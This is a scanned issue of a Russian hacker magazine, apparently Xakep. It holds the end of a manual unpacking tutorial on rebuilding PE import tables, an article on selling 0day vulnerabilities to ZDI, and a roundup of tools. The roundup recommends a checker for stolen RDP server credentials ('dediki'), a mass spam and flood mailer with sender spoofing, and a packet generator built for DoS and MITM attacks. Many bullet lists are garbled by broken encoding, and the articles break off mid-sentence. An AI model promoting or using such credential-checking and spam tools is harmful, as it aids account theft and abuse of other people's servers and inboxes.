библиотека загружается позже), обращение к которой вызывает 
исключение access violation, с последующим обламыванием всего 
процесса загрузки и выводом соответствующего ругательного 
сообщения.
Выходит, что восстановление таблицы импорта в большинстве 
случаев сводится к восстановлению массива FirstThunk. Для того, 
чтобы его восстановить, нужно знать имена (ординалы) импортиру-
емых функций, а также адреса, по которым должны быть записаны 
адреса этих функций. 

Реконструкция импорта
Прежде чем начать непосредственное восстановление таблицы 
импорта, нам нужно собрать всю необходимую информацию о 
составе и месторасположении массива FirstThunk. Обращаю вни-
мание на то, что в сдампенном приложении можно обнаружить 
следы двух таблиц импорта: первая используется распаковщиком 
(и, как правило, именно на нее первоначально указывает массив 
DataDirectory), вторая используется самим упакованным приложе-
нием (она-то нас и интересует).
Как их различить? Во-первых, таблица импорта распаковщика 
не отличается большим разнообразием; она, как правило, зна-
чительно меньше импорта обычного приложения и не содержит 
в себе никаких функций работы с окнами и сообщениями, типа 
GetMessage, DispatchMessage, CreateWindow и т.д. (распаковщику 
они просто не нужны). Во-вторых, таблица импорта приложения 
размещена значительно ближе к самому приложению и дальше от 
кода распаковщика. Гораздо сложнее, когда программа упакована 
несколько  раз. В этом случае перечень функций упакованной 
программы (которая представляет собой второй упаковщик) и рас-
паковщика очень похож или вообще полностью идентичен.
В этом случае порядок действий такой: встаем отладчиком в 
начало распаковщика и смотрим, какая из двух таблиц присут-
ствует в памяти (таблица импорта конечной программы еще не 
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Так выглядит сдампенная таблица импорта с переза-
писанным массивом FirstThunk

К такому сообщению приводит попытка запуска дампа 
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распакована, поэтому в памяти ее нет). В 99,9 % случаев список 
импортируемых функций виден, что называется, невооруженным 
глазом в любом HEX-редакторе. Если же функции импортиру-
ются по ординалам, то получить полный список импортируемых 
функций не так просто. Проблема усугубляется тем фактом, что 
имеющиеся ординалы оказываются затертыми адресами функций. 
В этом случае единственным способом обнаружения функций 
является нахождение массива FirstThunk по записанным в нем 
адресам. Как ты знаешь, все PE-файлы имеют так называемый 
базовый адрес загрузки. Виртуальный адрес функции рассчиты-
вается путем сложения этого базового адреса и относительного 
виртуального адреса функции. Так вот, на системах без ASLR этот 
базовый адрес постоянен, а при ASLR постоянен только его стар-
ший байт. Поскольку RVA адреса меньше 01000000h, то старший 
байт постоянен для данной библиотеки. Этим мы и воспользуемся 
для поиска импортируемых функций. Последовательность дей-
ствий при этом такая:
1) Определяем используемые библиотеки (их имена хранятся в 
дампе открытым текстом и видны невооруженным глазом).
2) Находим для них старший байт базового адреса загрузки 
(например, для библиотеки user32 — 7Eh). 
3) Ищем в снятом дампе вхождения этого дампа; цепочка 
таких байтов с шагом 4h и будет основным признаком массива 
FirstThunk.
Резонно возникает вопрос: «А почему для поиска функций не вос-
пользоваться API-монитором?». Дело в том, что при анализе дам-
пов многократно упакованной программы мы можем «промахнуть-
ся». Поясню на примере: пусть у нас есть какая-то программа, ее 
упаковывают пакером A, затем пакером B, ну и на погоны — паке-
ром C. Предположим, что мы снимаем пакер C, соответственно, 
нам нужны функции, используемые B. API-монитор не различает, 
кто вызывает функцию — упакованная программа или кто-то из 
распаковщиков. Поэтому мы вполне можем впасть в заблуждение 
и начать восстанавливать таблицу импорта основной программы, 
не сняв всех пакеров, что ни к чему хорошему нас не приведет.
Другой вариант поиска массива FirstThunk основан на так назы-
ваемом «переходнике». Дело в том, что в большинстве программ 
API-функции вызываются не напрямую, а через так называемый 
«переходник», который представляет из себя простую команду jmp 
на вызываемую функцию (при этом направление, куда «прыгать», 
берется из массива FirstThunk). Пример такого «переходника» 
представлен на рисунке.
Данный «переходник» выдает нам массив FirstThunk со всем его 
содержимым. 
Хуже, когда такого «переходника» нет, то есть библиотечные функ-
ции вызываются напрямую. В этом случае его приходится искать 
самим. Порядок примерно следующий:
1) Находим место вызова любой библиотечной функции. Наиболее 

разумный для этого способ — установка точки останова на функцию 
и эксплуатация программы до тех пор, пока отладчик не всплывет 
на ней;. 
2) Определяем, откуда берется адрес вызываемой функции. Если 
речь идет не о неявном вызове API-функций через ручной расчет 
их адресов (что встречается крайне редко), то браться он будет из 
массива FirstThunk. Выглядеть он будет примерно так, как показано 
на рисунке. При этом здесь перед нами будут адреса всех импорти-
руемых функций из разных библиотек. То есть перед нами не один, а 
несколько массивов FirstThunk (каждый из них соответствует своей 
библиотеке), разделенных между собой нулевым двойным словом.
3) Осталось лишь сопоставить адреса, записанные в этот массив, с 
соответствующими им функциям. Сделать это можно прямо в отлад-
чике.
  
Создание таблицы импорта
После того, как у нас на руках окажется вся необходимая информа-
ция, мы можем приступить к созданию (именно «созданию», потому 
что после распаковки массив структур IMAGE_IMPORT_DECRIPTOR 
исходного приложения полностью отсутствует) таблицы импорта. 
Сам этот массив может быть размещен в любом месте программы, 
доступном на чтение. Разместим его по адресу 2040h (за массивами 
FirstThunk). Пропускаем первые Ch байт (в них идут первые три 
поля IMAGE_IMPORT_DESCRIPTOR, которые мы не будем запол-
нять). По адресу 204Ch пишем адрес строки «kernel32.dll» (находим 
ее в дампе или создаем самостоятельно). В следующие 4 байта 
записываем найденный адрес массива FirstThunk с функциями из 
библиотеки kernel32 (у нас 2000h). Теперь перезаполняем массив 
FirstThunk (напоминаю, что каждый элемент этого массива пред-
ставляет собой двойное слово, содержащее адрес строки с именем 
функции, за вычетом двойки). В нашем примере первый элемент 
содержит адрес функции GetModuleHandleA, строка с ее именем 
размещена по адресу 5009h, вычитаем 2, получаем 5007h. Это зна-
чение и пишем в массив FirstThunk.
Именно по такому принципу мы и восстановим всю таблицу импор-
та. Самое главное при этом — не потереть важные для программы 
данные (строки, ресурсы, переменные). Поэтому располагать табли-
цу импорта лучше всего в области, состоящей из нулей. Вообще, 
для размещения массива IMAGE_IMPORT_DESCRIPTOR (массив 
FirstThunk и имя библиотеки у нас уже есть), описывающего N 
библиотек, нужно (N+1)*14h байт памяти.   
Нам осталось только изменить адрес таблицы импорта в массиве 
DataDirectory и наслаждаться приложением с восстановленной 
таблицей.  

Ресурсы
А вот с ресурсами не все так однозначно. Дело в том, что восста-
навливать их не требуется, так как они уже исправны (содержатся 
в дампе в своем первозданном виде). Но почему тогда их нельзя 
отредактировать или хотя бы просмотреть ни одним редактором 
ресурсов? Происходит это, потому что ни один из известных мне 
редакторов не умеет работать с ресурсами, расположенными в 

Список импортируемых API-функций виден невоору-
женным глазом

Цепочка байтов 7Eh с шагом 4h демаскирует FirstThunk 
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двух или более секциях (кстати, хороший способ спрятать ресурсы 
от любопытных), а в снятом дампе они расположены именно так. 
На работоспособность снятого дампа это никак не влияет, так как 
таблица ресурсов полностью исправна и указывает на имеющиеся 
ресурсы. Убедиться в этом можно с помощью LordPE. Если же тебе 
кровь из носу нужна возможность редактирования ресурсов, то 
воспользуйся программой Resource Binder, которая создает новую 
секцию и помещает в нее все найденные ресурсы.

Заключение
Как видно ручная реанимация дампа памяти — не такая уж и слож-
ная задача, вполне осуществимая при наличии внимательности, 
головы и прямых рук. Надеюсь, теперь ручная распаковка программ 
станет для тебя еще проще. z  

Переходник, через который и осуществляется вызов 
API-функций

Определяем имя функции по ее адресу 

LordPE показывает нам структуру ресурсов и их RVA-
адреса

Массив FirstThunk в модифицированном загрузчиком виде
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Работа…
Если ты в будущем хочешь связать свою жизнь с ИБ, то у тебя есть 
множество путей реализации этой затеи. Конечно, ты столкнешься 
со многими препятствиями, начиная от разного понимания, что 
такое «ИБ», у тебя и у «босса», заканчивая тем, что в итоге, если ты 
хочешь генерировать ключи по ГОСТу или разбираешься в бумаж-
ках от ФСТЭК по персональным данным, то работы полно, а если ты 
любишь «техническую» работу, то предложений уже не так много, 

и скорее всего все закончится вакансией системного администра-
тора или программиста (хорошо, если с уклоном в ИБ). Конечно, 
все это я говорю о легальной, законной работе, ведь заниматься 
«грязью» — это для нас как переход на Темную Сторону Силы… 
Благодаря стандарту PCI DSS, который приподнял рынок пен-
тестов в стране, шанс найти работу в этом направлении есть, одна-
ко я хочу поговорить о другом. Вопрос поиска работы в области ИБ 
достаточно индивидуален и зависит от интересов и возможностей 
соискателя. Поэтому я буду говорить о тех, в чьи интересы входит 
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реверсинг, баг-хантинг и эксплойт-девелопмент. То есть, если ты 
хочешь искать уязвимости, писать эксплойты и при этом получать 
свою копейку, то эта статья для тебя :). 

Баг-хантинг
У баг-хантера три пути развития (на мой скромный взгляд):
Вариант 1. НТП/НИИ/НПО имени кого-то там при чем-то там.
Да-да. В принципе, кибер-война — это уже не шутки, и нашей 
стране нужно все то же самое, что и  МОССАДу с ЦРУ. Поэтому баг-
хантер и эксплойт-райтер — полезный человек. Так как в ФСБ про-
сто так не попасть, можно найти работу в каком-либо учреждении, 
которое работает, выполняя заказы «сами-знаете-кого». Уверен, 
что они там делают полезную и важную работу :). Попасть туда 
можно из универа (если кафедра соответствующая), по «протекции» 
или при внимательном поиске работы. В принципе, и в само ФСБ 
после такого универа попасть реально (после года собеседований 
и тестов получишь офицерскую ЗП и командировки раз в год черт 
знает куда, и не факт, что тебе дадут ту работу, которую хочешь ты). 
Вариант 2. Блэк-Хат.
Если вариант 1 был для любителей милитаризма и шлема Дарта-
Вейдера, то данный вариант для любителей рискнуть свободой 
и здоровьем :). Эксплойт-паки нуждаются в пополнении новыми 
зеро-деями, и если у тебя есть связи, то ты легко можешь продать 
свежую багу/эксплойт (0day) кому надо за много-много $$$. Этот 
вариант я не поддерживаю, и потому не жди никаких деталей. К 
тому же, кто захочет, сам найдет и освоит эту дорогу; только помни, 
как опасен и коварен путь Темной Стороны...  
Вариант 3. Свободная продажа.
В мире существует множество фирм, которые с удовольствием купят 
у тебя инфу о зеро-дее и  эксплойте. Причем все это абсолютно 
законно и легально. Такие компании используют эту информацию для 
включения ее в сигнатуры своих IDS/IPS-устройств, или включают в 
сплойт-паки для пентестеров. Конечно, платят они чуть меньше, чем 
на черном рынке, зато ты в ряде случаев получаешь еще и всякий 
PR в виде авторства уязвимости (но уже без прав на нее) и возмож-
ность посещать всякие конференции и прочие фишки. К тому же этот 
вариант можно совмещать с обычной работой и ничем, по сути, не 
отягощать жизнь. Так как в первом и втором варианте присутствует 
скрытность и не всегда свобода, а во втором — еще и криминал, то я 
лично поддерживаю вариант номер 3, поэтому статья будет посвяще-
на именно этому пути.  

Рынок 0day
Существует множество компаний, которые хотят купить у тебя 0day. 
Процедура покупки может отличаться, но примерно суть одна и та 
же. О ней мы поговорим чуть позже, а пока рассмотрим рынок на 
основе опроса от unsecurityresearch.com. Результат показывает, что 
в среднем за 0day-уязвимости на клиентской стороне можно полу-
чить от 1000/2000 долларов. Это средняя цена, потолок же может 
доходить и до 30000 долларов. Зависит от того, в каком продукте 
обнаружена проблема. Из всех компаний, покупающих уязвимо-
сти, наиболее высокий средний показатель у ребят из ZDI (Zero 
Day Initiative — zerodayinitiative.com), где большинство клиентских 
уязвимостей в промежутке от одной до трех тысяч долларов. Кроме 
того, ZDI сохраняют авторство в публикации, и когда инфа выходит в 

паблик, твое имя не сотрется (если ты сам этого не желаешь). Кроме 
прочего, ZDI (а вернее, компания TippingPoint, основатели ZDI) явля-
ются спонсорами ежегодного конкурса PWN to OWN на CanSecFest, 
и именно они платят призовые фонды за взлом браузеров. Так что 
лично я для себя выбрал работу именно с этими парнями.

ZDI
Фактически TippingPoint является «подразделением» компании 
3COM (а те, в свою очередь, продались Hewlett-Packard) и зани-
мается разработкой системы IPS, в которую они и включают сиг-
натуры от купленных ими 0day-проблем. Фактически сигнатура в 
их IPS появляется задолго до того, как выйдет патч. Кроме того, 
ZDI уведомляет разработчика и проходит полный цикл от уведом-
ления до ожидания патча и скоординированной публикации о 
проблеме. До того, как информация станет доступной, ZDI может 
делиться деталями проблемы с  партнерами-вендорами решений 
по защите информации. Таким образом, продав 0day-багу ZDI, ты 
помогаешь всем владельцам железки TippingPoint защититься от 
потенциальной угрозы. Но хватит рекламы, рассмотрим, каким же 
образом поднять лавэ.
 Для начала надо найти уязвимость. В эпоху вездесущего фаззинга 
это может быть не так уж и сложно, но все же это требует опреде-
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Компаний, которые хотят купить у тебя уязвимости, достаточно 
много; помимо ZDI в список входят такие конторы, как iDefense — 
labs.idefense.com, SecuriTeam — securiteam.com или NetraGard — 
netragard.com. Кроме прочего, уязвимости в браузерах FireFox или 
Google Chrome можно продать самим вендорам. Правда, думается 
мне, что за code execution больше можно выручить у тех же ZDI. 

С точки зрения статьи УК РФ 273 анализ бинарного кода с анализом 
уязвимости не является ПО, и уж тем более вредоносным. Несмотря 
на то, что эта информация позволяет написать эксплойт или червь, 
законом такая информация не описывается, поэтому продажа ZDI 
такой инфы — дело не преступное. Более того, PoC-эксплойт, напри-
мер, для браузера, который запускает калькулятор и предупреждает 
об этом пользователя, также вредоносным кодом не считается (за-
пуск калькулятора — это ж не опасно, но помни, что «эксперты» у нас 
в стране могут вообще не разбираться в предмете).

Компания NSS анонсировала открытие портала-аукциона для 
пен-тестеров и эксплойт-девелоперов. На этом портале эксплойт-
райтеры могут продавать эксплойты к не-0day-уязвимостям в фор-
мате модулей для Metasploit. Никто не знает, выживет ли эта идея, но 
проект стоит оценить, откроется он уже скоро.

Твиттер-лента от ZDI
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ленных знаний и навыков, а иногда даже и чутья с везением. Но, 
как бы то ни было, про поиск уязвимостей уже написано немало 
букв. Вспомни хотя бы мою статью в апрельском ][ про эксплуа-
тацию брешей в ActiveX-компонентах. Итак, как найти уязвимость 
более-менее понятно, но не рвись в бой, сначала надо определить-
ся с жертвами. Очень большое значение имеет, ГДЕ именно най-
дена уязвимость. ZDI четко описывает требования к багам, которые 
они готовы купить:

• Óäàëåííûå óÿçâèìîñòè, ñâÿçàííûå ñ âûïîëíåíèåì êîäà 

• Óÿçâèìîñòè, ñâÿçàííûå ñ ïàðñèíãîì äîâåðåííûõ ôàéëîâ

• Óÿçâèìîñòü äîëæíà áûòü â ïîñëåäíåé âåðñèè ðåëèçà ÏÎ

• Óÿçâèìîå ÏÎ äîëæíî áûòü øèðîêî ðàñïðîñòðàíåíî

Это значит, что можно забыть про XSS-, LFI- и SQL-инъекции в 
популярных движках. Нас интересует настоящая жесть вроде оши-
бок с указателями, переполнения буфера, ошибки формата строки 
внедрение команд и прочих багов, которые приводят к выполнению 
произвольного кода. Нас интересуют знаменитые FTP/веб-сервера, 
базы данных, системы бэкапа, а также браузеры, ActiveX и плагины 
популярного ПО для браузеров, ПО корпоративных систем и т.д. В 
этот список могут входить как платные, так и опенсорсные продукты, 
главное, чтобы они были популярны и широко распространены. Ну 
вот, собственно, и все... А вот и не все. На самом деле найти уязви-
мость — это зачастую задача более простая, нежели проэксплуати-
ровать ее. Поэтому надо показать, что найденная тобой уязвимость 
реально опасна. Для этого можно написать Crash-PoC или эксплойт 
с запуском калькулятора, а можно выслать подробный бинарный 
анализ проблемы с выводами. От качества этой писанины зависит  
скорость, с которой ZDI отреагирует на твой товар и, возможно, 
качество этой реакции. Очевидно, что этот шаг являются самым 
трудным и, фактически, это и есть основная твоя работа. Чтобы 
выполнить его, требуется опыт и знания, за что собственно и платят 
деньги. 

Шаг 1. Регистрация
Если нулевой шаг не поддается описанию в теме моей статьи (толь-
ко затрагивает область твоих интересов), то дальше я опишу сам 
процесс работы с ZDI. От регистрации до вывода денег. Итак, шаг 
первый — регистрация. Для этого идем на сайт zerodayinitiative.com, 
где видим простой и понятный интерфейс. Смело жми ссылку на 
«Researcher Login». Нас просят ввести логин и пароль, но понят-

ное дело, что у нас их нет... ищем в верхнем правом углу ссылку 
«Register». Отлично! Тут мы вводим свой e-mail, пароль и желае-
мый логин. В принципе, этого достаточно, но чуть ниже есть поле 
«Referal». На него можно забить, но я рекомендую ввести туда мой 
логин :). Как только ты сдашь свой первый 0day, и тем самым пока-
жешь, что твой аккаунт имеет смысл, тот, кого ты указал в качестве 
реферала, получит 2500 очков вознаграждения (о них позже), так 
что смело вводи в это поле «asintsov», а я буду ждать твоих успехов 
:). После регистрации ты сможешь войти в систему, но этого недо-
статочно — необходимо официально подтвердить свою сущность. 
Для этого в закладке «My Account» надо отправить несколько форм. 
Первая — «My Profile». Тут ты заполняешь свои настоящие ФИО, 
указываешь адрес и страну, откуда ты. Обрати внимание на то, что 
если ты из Кубы, Ирана, Северной Кореи, Сирии или, например, 
из Судана, то ZDI не будет с тобой работать. Отправив эти данные, 
знай, что на веб-сайте они не хранятся, а шифруются PGP-ключом 
и отправляются по e-mail'у в офис ZDI. Таким образом, на веб-
сервере нет никакой информации о тебе, кроме логина и e-mail'а. 
После отправки профайла нужно подтвердить свою личность. Для 
этого иди и заполняй следующую форму — «Copy of Government 
Issued ID». Кликнув по этой ссылке, ты получишь PDF-файл, кото-
рый надо распечатать, вписать ручкой свой логин от системы, 
приложить свой паспорт (разворот с фоткой) и засунуть эту художе-
ственную композицию в сканер. Полученную форму отправить по 
электронной почте на zdi@3com.com, предварительно зашифровав 
на открытом ключе — https://www.zerodayinitiative.com/documents/
zdi-pgp-key.asc (если не параноик, то можешь и не шифровать). В 
общем, паспорт должен быть обычным, хотя можно и загран — судя 
по всему, им там пофиг.
Следующий пункт — самый приятный — про то, каким путем ты 
хочешь получать вознаграждение. Раньше было доступно три вари-
анта: перевод Western Union, чеком или банковским переводом. 
Вариант с WU был шикарен, но в итоге от него отказались, и теперь 
существует только два варианта — чеком или банковским пере-
водом. Я выбрал банковский перевод; для этого надо знать номер 
своего счета в банке (ну, и иметь этот счет), название банка, SWIFT-
позывной и адрес. Все это можно узнать как в самом банке, так и 
в интернете. Счет должен быть открыт в долларах США. В идеале, 
если к этому счету привязана карточка, то деньги можно снимать 
без комиссии в фирменных банкоматах банка. После того, как вся 
эта информация заполнена и подтверждена, напротив данных форм 
появятся большие зеленые кружочки с галочкой — мол, все ОК. Это 

Необходимо заполнить эту форму... и не только эту Форма с информацией об уязвимости
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значит, что можно работать. На самом деле, даже пока галочек 
еще нет, уже можно слать инфу о багах, так как они проверять уяз-
вимости будут намного дольше, чем тебя регистрировать.

Шаг 2. Процесс
Итак, ты нашел уязвимость, написал эксплойт и описание на 
английском, и что дальше? Дальше все просто — кликай по «Open 
Case» и заполняй эту форму. Не бойся, никто у тебя уязвимость 
не украдет. Желательно рассказать, какие привилегии нужны для 
реализации уязвимости, в конфигурации по умолчанию или нет 
(лучше, если да), нужны ли элементы социальной инженерии при 
атаке (типа, надо ли заманить на свой веб-сайт и т.д.). После того, 
как ты отправил уязвимость, не жди моментального ответа, а начи-
най искать следующую багу. Дело в том, что теперь твой «отчет» 
ждет проверки, и ждать он может больше месяца, поэтому не 
стоит терять время. Через месяц тебя могут попросить по e-mail'у 
уточнить какие-нибудь детали и опять исчезнуть на неделю-две, 
а могут сразу высказать предложение купить твою багу и права 
на нее. Прямо в письме будет указана и сумма. Если ты согласен, 
то ответь на письмо, что, мол, согласен. После этого статус баги в 
меню «My Cases» обновится, а еще через неделю тебе на счет в 
банке упадет ровно та сумма, на которую вы договорились. В меню 
«My Cases» можно следить за судьбой проданной тобой дырки 
— тут через какое-то время будет сказано и о факте уведомления 
разработчика, и о том, когда уже можно делать публичное сообще-
ние о проблеме, и тогда ты можешь на своем сайте воспроизвести 
его — авторство уязвимости сохранено, нельзя только говорить 
больше, чем сказано в публичном сообщении ZDI.

Награда
Кроме суммы на счет ты получишь очки вознаграждения. Эта 
фигня показывает твою полезность для ZDI. За первый баг ты 
получаешь 2500 очков, потом 2500 можно получать с тех, кто 
указал тебя в качестве реферала и уже сдал свой первый баг. 
А потом с каждой новой проданной уязвимостью ты получаешь 
эти очки. Зачем они нужны? А за тем, что, набрав 10000 очков, 
ты становишься бронзовым партнером, 20000 — серебряным, 
35000 — золотым и, наконец, 50 000 — платиновым. Например, 
всем известный хакер @WTFuzz имеет двойной платиновый статус. 
Эти статусы дают разные полезные и вкусные плюшки, которые 
начисляются в конце календарного года с момента начисления 
первых очков. Плюшки представляют собой следующие бонусы. 
Бронзовый:

• +10% ê äåíåæíûì íàãðàäàì çà âñå áàãè â ñëåäóþùåì 

ãîäó

• $1000 áîíóñ 

Серебряный:

• +15% ê äåíåæíûì íàãðàäàì çà âñå áàãè â ñëåäóþùåì 

ãîäó

• +25% ê íà÷èñëÿåìûì î÷êàì âîçíàãðàæäåíèÿ â ñëåäóþ-

ùåì ãîäó

• $5000 áîíóñ

• Îïëà÷èâàåìàÿ ïóòåâêà (ïåðåëåò + ðåãèñòðàöèÿ) íà 

DEFCON â Ëàñ-Âåãàñå 

Золотой:

• +20% ê äåíåæíûì íàãðàäàì çà âñå áàãè â ñëåäóþùåì 

ãîäó

• +50% ê íà÷èñëÿåìûì î÷êàì âîçíàãðàæäåíèÿ â ñëåäóþ-

ùåì ãîäó

• $10000 áîíóñ 

• Îïëà÷èâàåìàÿ ïóòåâêà (ïåðåëåò + ðåãèñòðàöèÿ) íà 

BlackHat è DEFCON â Ëàñ-Âåãàñå 

Платиновый: 

• +25% ê äåíåæíûì íàãðàäàì çà âñå áàãè â ñëåäóþùåì 

ãîäó

• +100% ê íà÷èñëÿåìûì î÷êàì âîçíàãðàæäåíèÿ â ñëåäóþ-

ùåì ãîäó

• $20000 áîíóñ 

• Îïëà÷èâàåìàÿ ïóòåâêà (ïåðåëåò + ðåãèñòðàöèÿ) íà 

BlackHat è DEFCON â Ëàñ-Âåãàñå + çàïèñü íà êóðñû 

BlackHat

Как видишь, бонусы достаточно вкусные и приятные. Кроме того, 
не забывай про основное вознаграждение, которое достаточ-
но адекватно оценивает твою работу. За простое переполнение 
буфера в  ActiveX-компоненте, которое находится за пять минут 
COMRaider'ом, могут заплатить 2500 — 3000 долларов. Если 
находить по две уязвимости в месяц, то можно жить — не тужить 
вообще. Многие западные ресерчеры только за счет ZDI и живут. 
Однако нельзя же всю жизнь только баги искать... 

Выводы
Если ты хочешь начать свою баг-хантерскую жизнь, то я рекомен-
дую начать ее с ZDI. После года-двух успешной работы ты полу-
чишь опыт, знания, новые интересные контакты и шанс попасть на 
работу ресерчером/пен-тестером/консультантом куда угодно, ведь 
нет лучшего резюме, чем связка адвайзори от ZDI с твоей фамили-
ей. Главное — не зацикливаться на однообразных задачах, а раз-
виваться. Желаю тебе удачи! z  

Четырехзначная сумма. Ну я, 
вроде, не против :)

Чем больше дел заведем — тем 
лучше

Отслеживаем статус
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Программа: Puff 
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: Cosimo Oliboni

Представь, что тебе необходимо надежно 
спрятать какие-нибудь приватные данные 
(будь то текстовичок с паролями или любые 
другие текстовые или бинарные файлы). 
Как тут быть? На ум сразу же приходят 
зашифрованные разделы жесткого диска, 
запароленные zip-архивы, спрятанные под 
подушкой болванки :). Но есть способ проще! 
Просто вспомни о такой полезнейшей науке, 
как стеганография, и заюзай основанную на 
ее принципах прогу Puff. Итак, утилита Puff 
предназначена для маркировки файлов, а 
также для сокрытия в них данных различных 
типов.
В качестве контейнеров для хранения инфор-
мации Puff может использовать следующие 
типы файлов:

• èçîáðàæåíèÿ (BMP, JPG, PCX, PNG, TGA);

• çâóêîçàïèñè (AIFF, MP3, NEXT/SUN, WAV);

• âèäåî (3GP, MP4, MPG, VOB);

• ôëåø (FLV, SWF);

• èñïîëíÿåìûå ôàéëû âèíäû, êîòîðûå èìåþò 

îáëàñòü äëÿ âíåäðåíèÿ ðåñóðñîâ (EXE, DLL).

Принцип работы программы крайне прост: 
данные, которые помещаются в контейнер, 
шифруются и расшифровываются с использо-
ванием заданной ключевой фразы по выбран-
ному алгоритму (CAST-256, IDEA-NXT, SAFER, 
RIJNDAEL, MARS, RC6, SERPENT, TWOFISH 
или собственные алго от автора). Из основных 
фишек проги можно выделить следующие:

• îáôóñêàöèÿ è «îòáåëèâàíèå» äàííûõ;

• ñèëüíàÿ êðèïòîãðàôèÿ (512-áèòíûé 

êëþ÷);

• ìàêñèìàëüíûé ðàçìåð âíåäðÿåìûõ äàííûõ 

ñîñòàâëÿåò 512 Ìá;

• óïðîùåííûé èíòåðôåéñ;

• îòñóòñòâèå íåîáõîäèìîñòè óñòàíîâêè.

За подробным мануалом, а также видеоуро-
ком по работе с Puff заходи на официальную 
страничку тулзы — members.fortunecity.it/
blackvisionit/PUFFV200.HTM.

Программа: Hyenae 
ОС: *nix/win
Автор: Robin Richter
На очереди кроссплатформенный хакерский 
комбайн с неблагозвучным для русского уха 
названием :). Итак, Hyenae — это генератор 
произвольных пакетов, позволяющий реали-
зовать различные низкоуровневые Ethernet-
атаки (MITM, DoS и DDoS). Этот программный 
комплекс предназначен для определения 
уязвимых мест тестируемой вычислительной 
сети. Прога обладает крайне гибкой системой 
настроек, которые позволяют установить про-
должительность и распределенность атаки, 
указать ее тип, а также задать диапазон IP-
адресов на основе выбранного шаблона.
В программу вшиты следующие сценарии 
атаки:

• ARP-Request ôëóäèíã;

• ARP-Cache ïîéçîíèíã;

• ôëóä ïðè èíèöèàöèè PPPoE-ñåññèè;

• ñëåïîå çàâåðøåíèå PPPoE-ñåññèè;

• ICMP-Echo ôëóäèíã;

• ICMP-Smurf àòàêà;

• ñáðîñ TCP-ñîåäèíåíèÿ íà îñíîâå ICMP;

• TCP-SYN ôëóäèíã;

• TCP-Land àòàêà;

• ñëåïîå çàâåðøåíèå TCP-ñîåäèíåíèÿ;

• UDP-ôëóäèíã;

• DNS-Query ôëóäèíã;

• DHCP-Discover ôëóäèíã;

• àòàêà DHCP «èñòîùåíèÿ»;

• ôîðñèðîâàíèå DHCP-Release;

• íàïàäåíèå íà Cisco HSRP active ðîóòåð.

Из приятных особенностей Hyenae можно 
также отметить наличие поддержки IPv4/IPv6, 
основанную на паттернах конфигурацию ад-
реса пакета, интеллектуальное определение 
адреса и его протокола, рандомизация паке-
тов, а также наличие демона для организации 
удаленной атаки.

За апдейтами, исходниками и поддержкой 
советую обращаться прямиком на страничку 
программы в проекте Sourceforge — hyenae.
sourceforge.net.

Программа: CmosPwd 
ОС: *nix/win
Автор: Christophe Grenier
Наверняка ты не раз сталкивался с проблемой 
забытого пароля в BIOS. 
В следующий раз в такой ситуации тебе поможет 
незамысловатая кроссплатформенная прога 
CmosPwd, которая умеет расшифровывать 
пароли, хранящиеся в cmos с помощью доступа к 
BIOS SETUP. Утилита поддерживает следующие 
виды BIOS'ов:

• ACER/IBM BIOS;

• AMI BIOS;

• AMI WinBIOS 2.5;

• Award 4.5x/4.6x/6.0;

• Compaq (1992);

• Compaq (New version);

• IBM (PS/2, Activa, Thinkpad);

• Packard Bell;

• Phoenix 1.00.09.AC0 (1994), a486 1.03, 

1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 

rev 1.13.1107;

• Phoenix 4 release 6 (User);

• Gateway Solo - Phoenix 4.0 release 6;

• Toshiba;

• Zenith AMI.

Из приятных дополнений можно отметить 
тот факт, что прога также умеет бэкапить, 
восстанавливать и стирать/«убивать» 
cmos.
Вот список основных команд CmosPwd:

cmospwd.exe [/d] //äàìï cmos â ascii + 

ñêàíèðîâàíèå êîäà

cmospwd.exe [/d] /[rlw] cmos_áýêàï_ôàéë 

//âîñññòàíîâèòü/çàãðóçèòü/çàïèñàòü 

áýêàï cmos

cmospwd.exe /k //«óáèòü» cmos

cmospwd.exe /m[01]* //âûïîëíèòü âûáðàí-

íûé ìîäóëü

Подробнейший мануал по программе ты 
сможешь найти по адресу cgsecurity.org/
cmospwd.txt, официальная страничка — 
cgsecurity.org/wiki/CmosPwd.

Программа: DSGood Checker
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: NightEagle

Скрываем данные

X-TOOLS

ВЗЛОМ

Бомбим сеть!
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Настала пора представить твоему внима-
нию крайне полезную для брутеров и прочих 
интересующихся дедиками людей программу 
— DSGood Checker.
Данная прога предназначена для чека дедиков 
на валид/невалид и работает следующим 
образом:

1. Выбираем входной файл (формат записей: 
«ip:login;pass»);

2. Выбираем выходной файл (установлен по 
умолчанию);

3. Нажимаем «Начать»;

4. Ждем сообщения «Список пройден»;

5. Открываем выходной файл и любуемся 
списком валидных дедов.
Особенности чекера:

• îäíîïîòî÷íûé;

• ðàáîòàåò áåç ïðîêñåé;

• äëÿ ðàáîòû òðåáóåòñÿ .NET Framework 

3.5;

• âûáîð òàéì-àóòà ñîåäèíåíèÿ;

• ñòàòèñòèêà äåäèêîâ, êîòîðûå íåäîñòóïíû 

äëÿ êîííåêòà;

• ñâîðà÷èâàíèå â òðåé.

Автор утилиты будет рад услышать любые 
твои замечания и пожелания в топике forum.
asechka.ru/showthread.php?t=120148.

Программа: The spamer from 
Reliable
ОС: Windows 2000/XP/2003 
Server/Vista/2008 Server/7
Автор: Reliable
А вот и еще один хакерский комбайн, на этот 
раз предназначенный для различной спамерс-
кой и флудерской работы с электронной почтой.
Прога предназначена для трех целей: массо-
вый спам, массовый флуд и быстрая отправка 
e-mail -сообщений.
Функционал спамера следующий:

• Ôëóä íà îäèí e-mail;

• Ôëóä íà íåñêîëüêî àäðåñîâ;

• Ñïàì e-mail-ëèñòà;

• Ïðèêðåïëåíèå ôàéëîâ ê ñîîáùåíèþ;

• Ïîäìåíà ïîëÿ «Îò êîãî» (åñëè ïîçâîëÿåò 

mail-ñåðâåð);

• Çàãðóçêà ñïèñêà ïîëó÷àòåëåé èç ôàéëà;

• Ñîõðàíåíèå ñïèñêà ïîëó÷àòåëåé â ôàéë;

com, leonpoker.com, noblepoker.com, 

williamhillpoker.com, heypoker.com

Из бонусов можно отметить то, что время ска-
нирования реестра варьируется в пределах от 
5 до 7 секунд и то, что для начала чека данную 
программу всего лишь необходимо залить на 
нужный дедик и запустить.

Программа: Half-open limit fix 
(patch) for Windows
ОС: Windows XP
Автор: half-open.com
Последней в нашем сегодняшнем обзоре 
выступает маленькая, но невероятно полезная 
для обладателей Windows XP дедиков/домаш-
них компьютеров прога — Half-open limit fix.
Эта программа предназначена для изменения 
максимального количества одновременных 
